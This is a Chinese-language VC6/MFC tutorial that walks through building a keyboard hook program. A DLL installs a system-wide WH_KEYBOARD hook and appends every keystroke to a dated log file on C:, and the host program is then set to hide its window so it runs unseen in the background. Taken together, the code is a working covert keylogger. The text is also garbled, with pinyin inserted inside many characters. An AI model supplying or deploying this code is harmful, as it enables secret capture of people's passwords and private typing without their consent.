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鍵盤鉤子
鍵盤鉤子
 系統(tǒng)鉤子和DLL
  鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發(fā)出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權(quán)。此時在鉤子函數(shù)中就可以對截獲的消息進行加工處理,甚至可以強制結(jié)束消息的傳遞。
在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統(tǒng)的消息,而全局鉤子函數(shù)必須以DLL(動態(tài)連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標準動態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標準靜態(tài)連接MFC DLL。
  三、鍵盤鉤子程序示例
  本示例程序用到全局鉤子函數(shù),程序分兩部分:可執(zhí)行程序KeyHook和動態(tài)連接庫LaunchDLL。
  1、首先編制MFC擴展動態(tài)連接庫LaunchDLL.dll:
   (1)選擇MFC AppWizard(DLL)創(chuàng)建項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)。
   (2)在LaunchDLL.h中添加宏定義和待導出函數(shù)的聲明:
  #define DllExport __declspec(dllexport)
  ……
  DllExport void WINAPI InstallLaunchEv();
  ……
  class CLaunchDLLApp : public CWinApp
  {
  public:
  CLaunchDLLApp();

  //{{AFX_VIRTUAL(CLaunchDLLApp)
  //}}AFX_VIRTUAL

  //{{AFX_MSG(CLaunchDLLApp)
  // NOTE - the ClassWizard will add and remove member functions here.
  // DO NOT EDIT what you see in these blocks of generated code !
  //}}AFX_MSG
  DECLARE_MESSAGE_MAP()
  };
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數(shù)LauncherHook、SaveLog:
  HHOOK Hook;
  LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
  void SaveLog(char* c);
(4)完成以上提到的這幾個函數(shù)的實現(xiàn)部分:
  ……
  CLaunchDLLApp theApp;
  ……
  DllExport void WINAPI InstallLaunchEv()
  {
  Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
  (HOOKPROC)LauncherHook,
  theApp.m_hInstance,
  0);
  }
在此我們實現(xiàn)了Windows的系統(tǒng)鉤子的安裝,首先要調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個鉤子函數(shù),其原型是:
  HHOOK SetWindowsHookEx(int idHook,
  HOOKPROC lpfn,
  HINSTANCE hMod,
  DWORD dwThreadId);
  其中,第一個參數(shù)指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關(guān)心鍵盤操作所以設定為WH_KEYBOARD;第二個參數(shù)標識鉤子函數(shù)的入口地址,當鉤子鉤到任何消息后便調(diào)用這個函數(shù),即當不管系統(tǒng)的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數(shù)是鉤子函數(shù)所在模塊的句柄,我們可以很簡單的設定其為本應用程序的實例句柄;最后一個參數(shù)是鉤子相關(guān)函數(shù)的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統(tǒng)的消息,在本程序中鉤子需要為全局鉤子,故設定為0。
  ……
  LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
  {
  LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
  if(nCode==HC_ACTION)
  {
  if(lParam & 0x80000000)
  {
  char c[1];
  c[0]=wParam;
  SaveLog(c);
  }
  }
  return Result;
  }
  雖然調(diào)用CallNextHookEx()是可選的,但調(diào)用此函數(shù)的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程序?qū)⒉粫邮盏姐^子的通知而且還有可能產(chǎn)生不正確的結(jié)果,所以我們應盡量調(diào)用該函數(shù)除非絕對需要阻止其他程序獲取通知。
  ……
  void SaveLog(char* c)
  {
  CTime tm=CTime::GetCurrentTime();
  CString name;
  name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
  CFile file;
  if(!file.Open(name,CFile::modeReadWrite))
  {
  file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
  }
  file.SeekToEnd();
  file.Write(c,1);
  file.Close();
  }
  當有鍵彈起的時候就通過此函數(shù)將剛彈起的鍵保存到記錄文件中從而實現(xiàn)對鍵盤進行監(jiān)控記錄的目的。
  編譯完成便可得到運行時所需的鍵盤鉤子的動態(tài)連接庫LaunchDLL.dll和進行靜態(tài)鏈接時用到的LaunchDLL.lib。
  2、下面開始編寫調(diào)用此動態(tài)連接庫的主程序,并實現(xiàn)最后的集成:
   (1)用MFC的AppWizard(EXE)創(chuàng)建項目KeyHook;
   (2)選擇單文檔,其余幾步可均為確省;
   (3)把LaunchDLL.h和LaunchDLL.lib復制到KeyHook工程目錄中,LaunchDLL.dll復制到Debug目錄下。
   (4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁內(nèi),在"Object/librarymodules:"中填 入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:
  #include "LaunchDLL.h"
  這樣我們就可以象使用本工程內(nèi)的 函數(shù)一樣使用動態(tài)連接庫LaunchDLL.dll中的所有導出函數(shù)了。
(5)在視類中添加虛函數(shù)OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:
  ……
  InstallLaunchEv();
  ……
(6)到此為止其實已經(jīng)完成了所有的功能,但作為一個后臺監(jiān)控軟件,運行時并不希望有界面,可以在應用程序類CkeyHookApp的InitInstance()函數(shù)中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow (SW_HIDE);即可。
  四、運行與檢測
  編譯運行程序,運行起來之后并無什么現(xiàn)象,但通過Alt+Ctrl+Del在關(guān)閉程序?qū)υ捒騼?nèi)可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發(fā)現(xiàn):通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
  小結(jié):系統(tǒng)鉤子具有相當強大的功能,通過這種技術(shù)可以對幾乎所有的Windows系統(tǒng)消息進行攔截、監(jiān)視、處理。這種技術(shù)廣泛應用于各種自動監(jiān)控系統(tǒng)中




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